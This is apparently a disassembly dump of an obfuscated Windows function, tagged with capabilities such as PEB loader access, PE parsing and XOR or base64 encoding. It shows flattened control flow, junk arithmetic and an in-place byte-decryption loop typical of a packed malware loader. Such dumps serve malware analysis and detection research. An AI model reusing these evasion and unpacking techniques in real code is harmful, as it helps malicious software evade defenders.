Function at 0x401350
Capabilities:
Access peb ldr_data
Authenticate hmac
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1d0
mov eax, dword [0x4a3840]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x4a4b7c]
mov edi, dword [0x4a4b78]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x47311300
mov edx, ecx
and edx, 0xb8ceecfe
and ecx, 0x9147d6ed
or esi, edx
mov edx, eax
and eax, 0x6eb82912
and edx, 1
xor esi, 0x47311300
or eax, ecx
or edx, esi
xor eax, 0x6eb82912
not edx
or eax, edx
cmp eax, 0xffffffff
mov eax, 0x6be5bf8
sete byte [ebp - 0x95]
cmp edi, 0xa
setl byte [ebp - 0x96]
jmp 0x401540
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xee641a3a
mov eax, edx
and eax, 0x669d83fd
and ecx, edx
not edx
and edx, 0x99627c02
or eax, edx
mov edx, eax
xor eax, 0x88601802
xor edx, 0x24040208
or eax, 0x119be5c5
and edx, 0xac241a08
mov esi, eax
and esi, 0x525844b7
or edx, esi
mov esi, ecx
not esi
and ecx, 0xada7bb48
or eax, esi
and esi, 0x525844b7
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x45001fa8
and ecx, 0xbaffe057
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x14934828
xor ecx, 0xab640592
xor edx, 0xab640593
and edx, ecx
and eax, 0x1fd7482a
and ecx, 0xe028b7d5
or ecx, eax
xor ecx, 0xe028b7d4
or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x6d498f02
and ecx, 0x92b670fd
or eax, ecx
mov ecx, eax
xor ecx, 0x6d488f00
xor eax, 0x92b670fd
mov esi, eax
and esi, 0x921370ae
and ecx, 0x6dec8f51
or ecx, esi
mov esi, edx
not esi
and edx, 0x6dec8f51
or eax, esi
and esi, 0x921370ae
or edx, esi
not eax
mov esi, 0x49789731
xor edx, ecx
or eax, edx
setne dl
cmp dword [0x4a4b78], 0xa
mov ecx, edx
setl ah
setge al
inc cl
mov ch, cl
and ch, dl
and dl, ah
xor ch, 1
mov dh, ch
or ch, cl
xor dh, cl
xor ch, 1
or ch, dh
mov dh, cl
or cl, ah
and dh, al
xor al, ch
xor cl, 1
and al, ch
or ch, ah
or dl, dh
xor al, 1
or cl, dl
mov ebx, eax
or al, ch
mov edx, ecx
xor bl, ch
xor al, 1
or al, bl
xor al, 1
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x802adfc2
cmovne ecx, esi
test al, 1
mov eax, 0x802adfc2
cmovne eax, ecx
test dl, 1
cmove eax, ecx
nop word [eax + eax]
cmp eax, 0x6be5bf7
jg 0x4015c0
cmp eax, 0xbc25b8cc
jg 0x401690
cmp eax, 0xa059255b
jle 0x402244
cmp eax, 0xaddde594
jg 0x40267d
cmp eax, 0xa72b1777
jg 0x402b75
cmp eax, 0xa432e5c4
jg 0x40380a
cmp eax, 0xa24b3d2c
jle 0x404d32
cmp eax, 0xa24b3d2d
je 0x4071b0
cmp eax, 0xa2de47fd
je 0x4071c3
cmp eax, 0xa3035fea
jne 0x401540
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, 0xdbffe8d4
jmp 0x401540
cmp eax, 0x42660997
jg 0x402120
cmp eax, 0x24d96213
jle 0x40240c
cmp eax, 0x32b77fd1
jg 0x4027d2
cmp eax, 0x2c4fe832
jg 0x402bc3
cmp eax, 0x28db2174
jg 0x403846
cmp eax, 0x26b70065
jle 0x404ec3
cmp eax, 0x26b70066
je 0x4071d0
cmp eax, 0x27a7dba0
je 0x4071e9
cmp eax, 0x27edb887
jne 0x401540
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xd8]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x20]
mov eax, 0xec395fd8
jmp 0x401540
cmp eax, 0xe3685851
jle 0x4025c5
cmp eax, 0xf37ac274
jg 0x40281e
cmp eax, 0xec6f5739
jg 0x402c04
cmp eax, 0xe7635643
jg 0x4039ae
cmp eax, 0xe552391b
jle 0x404efa
cmp eax, 0xe552391c
je 0x4072ad
cmp eax, 0xe636b385
je 0x4072c2
cmp eax, 0xe662334b
jne 0x401540
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
or edi, 0x31
dec esi
or ebx, 0x4b
imul edx
rcl edx, 0x30
imul edx
not edx
imul eax
add eax, 0x49
mov ebx, 0xad
or edi, 0x34
sub esi, 0xab
dec edx
sbb eax, 0x26
bswap eax
rcl edx, 0x20
mov edx, 0x4c
rol edx, 5
imul edx
neg eax
neg ebx
neg eax
sub ebx, 0xd4
neg edi
not ebx
rol ebx, 0xfe
bswap edi
or eax, 0x69
imul esi
and edi, 0xba
or edx, 0xb6
neg esi
and eax, 0x6e
bswap esi
rcl ebx, 0xc4
or edi, 0x7d
ror edi, 0x64
neg eax
or edx, 0xf9
bswap eax
dec edi
rcl edi, 0xeb
not edx
bswap edi
and edx, 0xe0
imul edi
rcr edi, 0x56
inc edx
neg eax
inc esi
neg ebx
sub esi, 0x67
dec edx
rol eax, 0xb4
add ebx, 0x97
ror ebx, 0x80
not eax
imul ebx
and eax, 0xb8
not esi
rcr edi, 9
add esi, 8
rcr ebx, 0x5c
rcl edi, 0x9b
sbb esi, 0x6d
add edi, 9
bswap esi
sbb eax, 0x21
or ebx, 0x2a
mov esi, 0xec
sbb edi, 0xfe
not esi
rcl edx, 5
and ebx, 0x7a
bswap edi
not ebx
dec eax
inc edi
rol ebx, 0xcb
and edx, 0xa
ror edi, 0x3d
imul esi
mov esi, 0x20
inc edi
rol ebx, 0xeb
dec eax
mov eax, 0xfb
inc ebx
imul esi
not eax
inc ebx
sub edi, 0x84
neg ebx
ror edx, 0xe5
sub ebx, 0xc3
ror eax, 0xb9
dec esi
inc edi
dec edi
ror ebx, 0x39
add edx, 0x56
and esi, 0xe3
rol edx, 0x61
mov eax, 0x3a
add esi, 0x33
and esi, 0x6d
imul eax
not ebx
rcl eax, 0x62
bswap eax
not eax
bswap eax
bswap esi
mov eax, 0x6c
sub edi, 0x97
ror edi, 0xb4
rcl esi, 0x31
dec esi
dec edi
dec ebx
neg esi
neg esi
dec ebx
rol edx, 0x29
sbb ebx, 0x5f
rol eax, 0x2a
rcl ebx, 0xd
neg edx
bswap edx
sub edi, 0xe7
inc esi
not edx
not ebx
not edx
rcl edx, 0x6d
imul eax
dec edx
not esi
inc esi
inc eax
rcr eax, 0x39
rcl ebx, 0xd3
mov edi, 0xf2
rol edi, 0x7d
sbb edi, 0xe9
neg edx
not eax
neg edi
sub ebx, 0xc
imul edx
dec eax
rol edi, 0xce
and edx, 0xa
bswap ebx
not edi
add ebx, 0x36
rcl ebx, 0xcf
not eax
sub esi, 0x83
mov edx, 0x66
sbb ebx, 0x32
neg edx
inc esi
bswap esi
sbb edx, 0x2b
rcr eax, 0xfb
inc edi
bswap esi
imul edx
rol ebx, 0xb4
dec edi
not edx
dec edi
bswap edx
rcr esi, 0x4b
rcl edx, 0x55
neg edi
inc esi
rcl edi, 0x18
imul ebx
add esi, 0xa7
or edx, 0xa8
rcl edi, 1
sub esi, 0x96
inc eax
ror eax, 0x34
mov edx, 0xd
bswap eax
rol eax, 0x5b
or edx, 0xcb
sbb esi, 0x6c
inc edx
not ebx
rol ebx, 0xfc
sbb edx, 0xfe
dec esi
add eax, 0x75
neg eax
rcl ebx, 0x3b
sub edi, 0x25
dec edx
ror edx, 0x8d
neg esi
bswap esi
imul edx
sub eax, 0xe8
mov ebx, 0xb3
bswap eax
rcr eax, 0x52
and edx, 0x6f
sub esi, 0xa1
sbb edi, 0xda
rcr edx, 0xf3
not eax
dec edi
neg edi
neg eax
mov esi, 0xa8
not edx
bswap edx
ror ebx, 0x38
or edx, 0x15
sbb esi, 0xa
rol edi, 0x4a
rcr edx, 0x6b
rcl esi, 0xf9
or eax, 0xe7
imul edi
inc ebx
inc edi
dec eax
inc edx
imul eax
bswap esi
rcl edx, 0x36
bswap edi
add edx, 0x73
dec esi
bswap esi
ror eax, 0x43
bswap ebx
rol edx, 0x5d
imul edi
or eax, 0x77
and esi, 0xb1
mov edx, 0x80
rol edx, 0xc9
imul edi
bswap esi
sub edi, 0x49
imul eax
bswap edi
dec edi
dec eax
neg esi
neg ebx
rol ebx, 0xcd
inc edi
neg esi
add eax, 0xea
sub ebx, 0x8e
ror esi, 0x37
mov edx, 0xec
imul ebx
not esi
or edx, 0x63
rcl edx, 0x48
imul esi
ror eax, 0xd0
rcl edx, 0xb7
neg eax
dec ebx
bswap esi
rol eax, 0x73
bswap edx
sub esi, 0x13
bswap ebx
rcr edi, 0xff
ror esi, 0xb3
and edx, 0x43
imul edi
add edi, 0x56
imul edi
imul ebx
not edx
or eax, 0xe
sub edi, 0x68
inc esi
bswap edx
bswap edx
and esi, 0x4a
rcr esi, 0xe8
dec edi
bswap ebx
dec eax
mov edx, 0x37
add esi, 5
inc ebx
inc edi
sbb ebx, 0xe9
sub esi, 0x34
neg esi
imul ebx
rcl eax, 0xdd
rcr esi, 0xc9
sub esi, 0xc
not eax
bswap esi
dec ebx
inc esi
not ebx
sbb ebx, 0x12
not eax
rcl ebx, 0x65
not esi
inc edi
bswap edx
rcr ebx, 0x24
neg eax
inc edi
add eax, 0x94
add ebx, 0xf6
bswap ebx
sub eax, 0x84
neg eax
inc eax
neg eax
rcl eax, 0x63
ror ebx, 0xb9
sub edx, 0x84
imul esi
and eax, 0x76
sbb ebx, 0xd5
not eax
rcl eax, 0xdd
inc edx
dec eax
not ebx
not esi
sbb edx, 0xa1
sub eax, 0x7f
or ebx, 0xb0
dec edx
imul eax
rol eax, 0xe7
dec edx
neg esi
sub esi, 0xa5
inc ebx
mov edx, 0x2b
not esi
inc eax
neg edx
or esi, 0xf2
bswap ebx
sub esi, 0xf5
inc esi
bswap eax
sbb eax, 0xe7
sbb eax, 0x1d
rol esi, 0x17
bswap ebx
rcl ebx, 0x8b
rol esi, 0xca
mov edx, 0x58
sub edx, 0x32
inc edx
inc ebx
dec edx
inc edi
dec ebx
add edi, 0x63
sub edx, 0xaf
rcr edi, 0xd8
dec esi
bswap esi
or esi, 0xbd
mov eax, 0x54
inc edi
imul eax
inc edx
or eax, 0xee
imul esi
imul ebx
neg ebx
dec edx
inc eax
mov eax, 0x38
not edx
dec edi
not ebx
mov eax, 0xff
rcr eax, 0xf0
dec ebx
ror edx, 0x31
not edi
add esi, 0xe3
inc esi
sub edx, 0x7e
dec edi
or edi, 0xbd
neg ebx
imul esi
rcr edx, 0x6a
bswap esi
neg esi
ror edx, 0x31
dec ebx
rcl eax, 9
not esi
ror edi, 0x43
inc eax
ror eax, 0x28
bswap edx
neg ebx
rcl esi, 0x60
or esi, 0x4a
sbb edi, 0xac
neg edx
imul edi
ror esi, 0x13
not esi
bswap ebx
mov ebx, 0x72
neg esi
sbb edx, 0x58
rcl esi, 0xad
and ebx, 0xf4
add edi, 0xc
add eax, 0x26
rcl esi, 0xd
neg eax
sub edi, 0x7e
mov edi, 0xa8
rcl ebx, 0x97
inc edi
or ebx, 0x72
inc edx
neg eax
not esi
dec ebx
neg edx
neg edi
bswap eax
ror edx, 0xd3
ror ebx, 0x1e
imul ebx
and esi, 0x96
rol edx, 0x46
sub eax, 0xf5
rcr esi, 0x8f
not esi
bswap edx
or edi, 0x29
inc eax
mov edi, 0xf1
bswap ebx
sbb ebx, 0x5a
bswap eax
or edi, 0xa0
bswap esi
and ebx, 0x92
mov edx, 0x4b
dec esi
not edx
imul edx
dec edx
inc esi
ror edx, 0xfb
or eax, 0xe8
sub edi, 0xcd
neg esi
imul esi
bswap eax
bswap edx
rol edx, 0x58
sbb esi, 0x25
neg esi
rcr ebx, 0xb
or edx, 0x50
bswap ebx
dec ebx
inc esi
sbb edi, 0xcc
bswap edx
dec esi
ror esi, 0xb6
or edi, 0x36
not edi
bswap edx
dec eax
neg esi
dec eax
rcl eax, 0xdf
neg ebx
ror esi, 0x9c
and esi, 0x4d
bswap ebx
imul edi
sbb ebx, 0x7f
sbb esi, 0xd
not eax
bswap eax
inc esi
bswap edx
add ebx, 0xdd
neg edi
rcl eax, 0x87
rcl esi, 0xc3
mov edx, 0x83
or edi, 0x6b
imul esi
bswap esi
inc edx
bswap eax
dec esi
neg eax
mov eax, 0xa8
sbb ebx, 0xaa
not esi
inc ebx
not edi
inc edi
imul ebx
ror edi, 0x3f
inc edi
sbb edi, 0xa
bswap eax
imul eax
sbb ebx, 0xff
rcl esi, 0x74
sub edx, 0x93
bswap ebx
not eax
not eax
sub eax, 0x8d
not ebx
dec ebx
neg edx
neg ebx
rcr eax, 6
or edi, 0xd5
bswap esi
and edx, 0x8e
neg esi
rol edi, 0x64
dec eax
ror edi, 0x52
inc esi
inc edx
inc ebx
bswap ebx
inc esi
neg eax
rcr esi, 0xb7
and eax, 0x38
ror edx, 0xd7
or eax, 0x9e
bswap esi
sub eax, 0x83
inc eax
rcl eax, 0x24
rcr ebx, 0x88
inc ebx
or ebx, 0x84
neg edi
dec edi
not ebx
rcr edi, 0x70
rcl esi, 0x60
dec eax
not edx
ror edx, 0x63
neg esi
sub edx, 0x2d
imul edi
add edx, 0xa6
imul ebx
neg edi
mov esi, 0x75
sbb edi, 0x55
add edx, 0x73
mov ebx, 0xcd
ror ebx, 0x7a
neg edi
imul ebx
rol eax, 0xb7
bswap esi
dec ebx
rcr edi, 0x67
imul ebx
add ebx, 0x52
bswap eax
rcl edi, 0xf
not eax
add edx, 0x19
dec ebx
sbb ebx, 0x6d
add esi, 0x86
imul esi
mov edx, dword [ebp - 0x24]
mov dword [edx], eax
mov dword [ebp - 0x14], 0x49800
mov dword [ebp - 0x18], 0x45a000
sbb edi, 0x11
or esi, 0x6d
sub edx, 0xfd
bswap esi
sbb edx, 0x20
rcr eax, 0xf9
and esi, 0x71
neg edx
inc eax
inc edx
mov esi, 0x8f
mov eax, 0x68
bswap eax
rcr edi, 0x7a
rcl edi, 2
or edx, 0xd4
rol esi, 3
bswap esi
and edx, 0xf1
add esi, 0x95
inc esi
rcl ebx, 0x70
sbb edi, 0xeb
inc edi
inc esi
imul esi
add esi, 0
add ebx, 0xe
neg ebx
rcr ebx, 0x82
inc esi
ror esi, 0xb3
neg esi
not esi
not eax
not ebx
mov ebx, 0xde
mov ebx, 0x6a
sub esi, 0xc4
mov edi, 0xf6
neg edx
sbb eax, 0x23
rol ebx, 0xbf
rcr ebx, 0xb
inc ebx
rcr esi, 0xb3
imul eax
neg ebx
sub esi, 0xf6
rcr edi, 0xea
and eax, 0xc6
bswap edi
add edi, 0x40
ror eax, 0xb9
sbb esi, 0x7d
or edi, 0x6e
not eax
imul edx
and edi, 2
imul edx
not esi
imul edx
inc edi
or edi, 0xa1
rcr esi, 0xc0
ror eax, 0x1a
dec edi
inc eax
not ebx
sub eax, 0x37
imul eax
rcl ebx, 0xe4
or ebx, 0x2f
neg edi
inc ebx
inc esi
dec edi
bswap esi
add edi, 6
neg ebx
rcl eax, 0xa7
dec ebx
sub edi, 0x3a
and esi, 0x18
bswap eax
rcl esi, 0x48
rol edi, 0xdb
rcl esi, 0x27
sbb eax, 0x4e
ror edi, 0x19
neg esi
not eax
bswap edx
and eax, 0xe5
rcr ebx, 8
sub ebx, 0xf
sub eax, 0xb3
imul ebx
or edx, 0xda
ror eax, 0xab
add ebx, 0x30
rcl edx, 0x32
rcl ebx, 0x4e
mov eax, 0x1b
imul esi
bswap edi
dec ebx
inc ebx
and edi, 0x4e
ror edi, 0x11
not edi
imul edi
imul edi
neg esi
not eax
sub ebx, 0xb0
inc edx
imul esi
rol esi, 0x6a
mov eax, 0
sub edi, 0x66
not edx
imul ebx
mov ebx, 0xad
inc edx
rcr eax, 0xc
bswap esi
rol ebx, 0xcd
sbb edi, 0xdc
neg edx
rol edx, 0xce
bswap eax
inc ebx
mov esi, 6
not eax
add ebx, 0x92
inc edi
and ebx, 0x9a
not edi
imul edx
sbb eax, 0xfa
dec edx
rcr eax, 0xd6
neg edx
imul esi
mov edi, 0x80
and ebx, 0xf1
not edx
not ebx
neg esi
rcr edi, 0xac
not edx
inc edi
imul esi
sbb edi, 0x7e
inc edi
ror edx, 0xfa
ror edx, 0xf7
inc edi
ror edi, 0x68
imul edi
neg edx
sbb eax, 0x37
not eax
inc edx
neg edi
bswap edx
inc edi
add eax, 0xc7
bswap ebx
imul edi
bswap edi
add ebx, 0xdb
mov ebx, 0xd1
neg edi
inc ebx
bswap edi
bswap ebx
or eax, 0x35
neg eax
inc edi
dec edi
and esi, 0xbd
neg eax
inc edi
bswap edx
add edi, 0xf7
rcl esi, 0xab
inc esi
inc edx
or edx, 0xc
add esi, 0x57
sbb edi, 0xc1
mov edi, 0x58
add edx, 0xc8
rol edx, 0x9d
dec esi
ror eax, 0x9e
neg edi
rol esi, 0xf3
imul edx
not eax
mov edx, 0xfd
not eax
inc edi
not ebx
rcr eax, 0x58
not esi
sub edx, 8
or ebx, 0xe4
imul esi
and edx, 0x95
sub edx, 0x24
not edi
mov ebx, 0x3e
rcl eax, 0xc2
and esi, 0
bswap eax
rol eax, 0x75
or eax, 0x5a
sbb ebx, 0x50
sbb edx, 6
inc edx
imul esi
and edx, 0x55
neg edi
rcr eax, 0x83
inc eax
bswap eax
imul ebx
or edi, 0x1d
imul ebx
mov eax, 0x3b
not eax
neg edx
imul esi
and edx, 0x90
sub edx, 0x9f
neg ebx
neg eax
sbb edi, 0x27
add ebx, 0xb9
or esi, 0xa2
inc eax
dec edx
or esi, 0x50
bswap esi
inc edi
sub ebx, 0x7f
inc edx
mov eax, 0x8ce4c0d5
nop word [eax + eax]
cmp eax, 0xe957e812
je 0x4072e2
cmp eax, 0x8ce4c0d5
jne 0x4020f0
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
sub byte [edi], 0x89
add byte [edi], 0x45
imul byte [edi]
inc edi
loop 0x40210c
mov eax, 0xe957e812
jmp 0x4020f0
cmp eax, 0x6182f477
jle 0x402626
cmp eax, 0x71510152
jg 0x40286a
cmp eax, 0x656b6f7c
jg 0x402cf5
cmp eax, 0x62d38f0e
jg 0x403a00
cmp eax, 0x623f6574
jle 0x404f26
cmp eax, 0x623f6575
je 0x40791b
cmp eax, 0x6247f700
je 0x40793e
cmp eax, 0x62a7e839
jne 0x401540
mov ecx, dword [0x4a4b7c]
mov edi, 0xbc01aed3
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xb2ef972a
and eax, 0xfed0af4a
mov esi, edx
and esi, 0x4d1068d5
and edx, 0x12f50b5
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x4d1068d4
and esi, 0xb2ef972b
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x9829b050
mov esi, edx
and esi, 0x67d64faf
or ecx, esi
mov esi, eax
xor esi, 0x9800a040
xor eax, 0x10640a5
and eax, 0x67d64faf
and esi, 0x9829b050
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
sete al
setne cl
cmp dword [0x4a4b78], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
xor dl, 1
xor al, 1
xor ah, 1
or al, dl
mov edx, 0xe3685852
xor al, ah
mov ecx, eax
cmovne edx, edi
not cl
test cl, ah
cmovne edx, edi
test al, al
mov esi, edx
cmovne esi, edi
test cl, ah
mov eax, dword [ebp - 0xc4]
cmove esi, edx
mov eax, esi
jmp 0x401540
cmp eax, 0x908972ef
jg 0x40298c
cmp eax, 0x8872534c
jg 0x402ee0
cmp eax, 0x84fe14e2
jg 0x403bfe
cmp eax, 0x81b4001b
jle 0x404f52
cmp eax, 0x81b4001c
je 0x407953
cmp eax, 0x81fde5a6
je 0x407a99
cmp eax, 0x8373c838
jne 0x401540
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x8c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov dword [ebp - 0x1d8], eax
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6f0c23ad
and eax, 0x90f3dc52
or ecx, eax
mov eax, ecx
xor eax, 0x240000a8
xor ecx, 0x80f31002
and ecx, 0xcbff3307
and eax, 0x3400ccf8
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x3400ccf8
xor ecx, 0xcbff3307
xor edx, 0xcbff3306
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x44fb8f23
mov esi, eax
and esi, 0xbb0470dc
or edx, esi
mov esi, ecx
not esi
and ecx, 0x44fb8f23
or eax, esi
and esi, 0xbb0470dc
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xca9eeb77
mov esi, eax
or esi, 0x600400
and ecx, eax
and esi, 0x86c6f33
and edx, 0xc2928044
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf79390cc
or eax, esi
and esi, 0x86c6f33
or ecx, esi
not eax
mov esi, 0xbdf14edd
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x35611488
and eax, 0xca9eeb77
or eax, ecx
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setge al
setl cl
mov ch, al
and cl, dl
inc ch
and ch, ah
and ah, al
or cl, ah
xor cl, 1
or cl, al
and al, dl
mov ah, cl
mov edx, ecx
or al, ch
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov cl, ah
xor dl, al
xor cl, al
or al, ah
xor al, 1
xor dl, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x34380b17
cmovne eax, esi
test dl, 1
mov edx, 0x34380b17
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
cmp eax, 0x173783f9
jle 0x4029d8
cmp eax, 0x1daac6f9
jg 0x402f21
cmp eax, 0x1a5756ae
jg 0x403c3f
cmp eax, 0x19607bcb
jle 0x404fa6
cmp eax, 0x19607bcc
je 0x407ab9
cmp eax, 0x1a1fb220
je 0x407aec
cmp eax, 0x1a2bf44a
jne 0x401540
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x118]
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
setb byte [ebp - 0x9a]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x2c80a150
and ecx, 0x837e52a7
and eax, 0x50010c08
or edx, eax
xor edx, 0x2c80a150
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x4442d9ee
and eax, 0xbbbd2611
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x440c8208
xor eax, 0x38c374b6
xor ecx, 0x748f82bc
and ecx, eax
and edx, 0x4c4cf60a
and eax, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x50ad919e
and edx, 0xaf526e61
or ecx, edx
xor ecx, 0x1ce16795
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xdefca174
mov esi, eax
or esi, 0x31281
and ecx, eax
and esi, 0x524f13a5
and edx, 0x8cb0a050
or edx, esi
mov esi, ecx
not esi
and ecx, 0xadb0ec5a
or eax, esi
and esi, 0x524f13a5
or ecx, esi
not eax
mov esi, 0x1aea8fdb
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x21035e8b
and eax, 0xdefca174
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb3d50d56
and ecx, 0x4c2af2a9
or ecx, eax
mov eax, ecx
xor eax, 0x20c40402
xor ecx, 0xc0ae200
and ecx, 0x9f1beb54
and eax, 0x60e414ab
or eax, ecx
xor eax, 0x60e414ab
setne cl
sete al
cmp dword [0x4a4b78], 0xa
setl dl
setge ah
and ah, al
and cl, dl
or al, dl
or cl, ah
xor al, 1
mov ah, cl
mov ch, cl
or al, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
mov cl, ah
xor dl, 1
or dl, ch
xor dl, al
xor cl, dl
test ah, ah
mov eax, 0xd4ee5f68
cmovne eax, esi
test dl, 1
mov edx, 0xd4ee5f68
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
cmp eax, 0xd2ff57e8
jle 0x402a2d
cmp eax, 0xd97bf317
jg 0x4030fd
cmp eax, 0xd5e8fbb5
jg 0x403c8d
cmp eax, 0xd450edbc
jle 0x40508a
cmp eax, 0xd450edbd
je 0x407bd6
cmp eax, 0xd4ee5f68
je 0x407beb
cmp eax, 0xd58dcfbe
jne 0x401540
mov dword [ebp - 0xf0], 0
mov eax, 0xba97d90b
jmp 0x401540
cmp eax, 0x4fc2cb78
jle 0x402b20
cmp eax, 0x594e4bbb
jg 0x40327f
cmp eax, 0x53b0ccef
jg 0x403dd6
cmp eax, 0x516b5a85
jle 0x4050c7
cmp eax, 0x516b5a86
je 0x407c04
cmp eax, 0x523024c9
je 0x407c1d
cmp eax, 0x5309f761
jne 0x401540
mov eax, 0xfbad5d2d
jmp 0x401540
cmp eax, 0xb54a069f
jg 0x403413
cmp eax, 0xb0b1d2a8
jg 0x403e0c
cmp eax, 0xaee87e60
jle 0x40521e
cmp eax, 0xaee87e61
je 0x407c27
cmp eax, 0xafa20e41
je 0x407d4e
cmp eax, 0xb07a4733
jne 0x401540
mov eax, dword [ebp - 0x40]
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xe7eafa20
mov ecx, eax
and ecx, 0x181505df
and eax, 0x7ea517ef
or ecx, edx
mov edx, ecx
xor edx, 0x181505df
xor ecx, 0x66205020
mov esi, edx
and esi, 0x815ae810
or edx, 1
and ecx, 0x7e2051e2
or eax, esi
mov esi, eax
not esi
and eax, 0x4bcef617
and esi, 0xb43109e8
or eax, esi
mov esi, eax
xor esi, 0x4a001002
xor eax, 0x356be1f9
mov edi, eax
or eax, edx
and edx, 0x81dfae1d
and edi, 0x81dfae1d
and esi, 0x7e2051e2
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x49789731
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfc00deb0
and ecx, 0x3ff214f
or ecx, edx
xor ecx, 0xfc00deb0
xor eax, ecx
test eax, ecx
sete cl
setne ah
cmp dword [0x4a4b78], 0xa
setge dl
setl al
mov ch, dl
and ah, al
xor al, cl
xor ch, cl
and ch, dl
and dl, cl
or dl, ah
or al, ch
mov ah, dl
mov ecx, edx
xor ah, 1
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
xor ah, al
xor al, 1
or cl, ch
xor cl, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
